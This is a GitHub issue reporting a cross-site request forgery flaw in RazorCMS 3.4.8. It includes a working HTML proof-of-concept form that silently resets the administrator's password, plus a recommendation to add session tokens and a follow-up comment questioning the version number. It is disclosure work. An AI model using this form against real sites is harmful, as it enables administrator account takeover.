Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF Vulnerability #53

Open
M0H17 opened this issue Sep 6, 2018 · 1 comment

Comments

Projects
None yet
2 participants
@M0H17
Copy link

commented Sep 6, 2018

RazorCMS version: 3.4.8
Operating System Used: Microsoft Windows v10

Vulnerability Type: Cross-Site Request Forgery(CSRF)

Severity: High

Vulnerability Description: CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the targeted end user is a normal user, a successful CSRF attack can compromise sensitive data. If the targeted end user is the administrator account, this type of attack can compromise the entire web application.

STEPS TO REPRODUCE:

  1. Log in to the Administrator user account.

Crafted Code:

<html>
  <body>
    <form action="http://localhost/razorCMS/rars/user/data" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;id&quot;&#58;&quot;1&quot;&#44;&quot;name&quot;&#58;&quot;razorCMS&quot;&#44;&quot;email&#95;address&quot;&#58;&quot;razorcms&#64;razorcms&#46;co&#46;uk&quot;&#44;&quot;last&#95;logged&#95;in&quot;&#58;&quot;1536218267&quot;&#44;&quot;access&#95;level&quot;&#58;&quot;10&quot;&#44;&quot;new&#95;password&quot;&#58;&quot;test&#64;123&quot;&#44;&quot;repeat&#95;password&quot;&#58;&quot;test&#64;123&quot;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

  1. Run the above code which changes the password of admin user to "test@123"
  2. After submitting the code the password is successfully changed.

Recommendation: A prevention measure could be the implementation and inclusion of tokens in a user (current) session. Tokens are long cryptographic values that are difficult to guess. These will be generated when a user session begins and will be associated with this particular user session. This challenge token will be included in each request, which will be used by the server side to verify the legitimacy of the end-user request.

@attritionorg

This comment has been minimized.

Copy link

commented Dec 31, 2018

@M0H17 where do you see 3.4.8? looks like 3.4.7 is the latest tag on GitHub, and the vendor page links to this repo for downloads.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.